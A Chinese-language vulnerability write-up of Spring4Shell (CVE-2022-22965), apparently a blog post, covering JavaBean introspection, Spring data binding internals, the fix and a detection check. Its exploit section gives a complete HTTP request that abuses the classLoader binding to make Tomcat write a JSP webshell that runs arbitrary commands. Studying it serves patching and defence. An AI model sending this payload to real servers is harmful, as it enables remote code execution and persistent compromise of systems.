CVE-2022-22965
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
环境搭建
[VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv]
前置知识
JavaBean
一个典型的 Bean 对象如下
class UserInfo {
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
复制代码
通过 private
定义属性 通过 public getXyz/setXyz
来读写的 class
被称为 JavaBean [^1]
Introspector
java.beans.Introspector
[^2] 提供一套标准的方法来访问 javaBean
中的属性、方法、事件,会搜索 Bean
本身并一路往上搜索父类来获取信息。如通过 java.beans.PropertyDescriptor
来获取属性相关的信息(name/getter/setter/...
)
public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
复制代码
也可以通过内省操作来进行赋值操作
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
复制代码
Spring BeanWrapperImpl
提供了一套简单的 api 来进行 JavaBean
的操作,以及一些高级特性(嵌套属性、批量读写等)
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
复制代码
在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
调用 getPropertyAccessorForPropertyPath 方法通过 getter 来获取嵌套属性
getPropertyAccessorForPropertyPath 存在嵌套 A.B.C
属性时,循环调用 getter 取值
调用 setPropertyValue 方法通过 setter 来设置属性
processKeyedProperty 设置 Array/List… 对象
processLocalProperty 设置简单 Bean 对象
getLocalPropertyHandler 获取属性描述符
getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
CachedIntrospectionResults#forClass 为当前 Bean 创建缓存
…
setValue 通过反射调用 setter 进行赋值
Spring data bind
以如下的 controller
为例,跟踪 spring 参数绑定的过程
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
复制代码
传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch 处理,寻找对应的 Handler 进行处理
org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
使用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从 request
中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值。这里会获取一个 BeanWrapperImpl 通过 setPropertyValues 来进行赋值
org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
源码分析
官方在 5.3.18
修复了这个问题, 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults
处进行了相关修改,加强了一个 PropertyDescriptor
相关的过滤。查看相关调用
结合上文的内容不难推断,Spring 在进行参数绑定时调用的 BeanWrapperImpl
在进行 JavaBean 操作时触发了此漏洞。
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
复制代码
Exp 编写
由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults
能够通过 class.module.classLoader
来获取 classLoader
,所以这个洞也是 CVE-2010-1622[^5] 的绕过。
目前流传的 EXP 都是利用 Tomcat 的 ParallelWebappClassLoader
来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。
例如向 webapps/shell.jsp
写入 http header 中的 cmd
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
复制代码
发送报文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
复制代码
就可以利用 shell.jsp?a=cmd
来执行命令了
补丁修复
Spring 在获取属性描述符时加强了判断,只留下了 name
属性。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}
复制代码
Poc 编写
通过错误地设置 classloader
下的属性来触发 BindException
异常让服务端返回异常即可判断是否存在漏洞,例如发送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
复制代码
服务端返回
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
复制代码
\
评论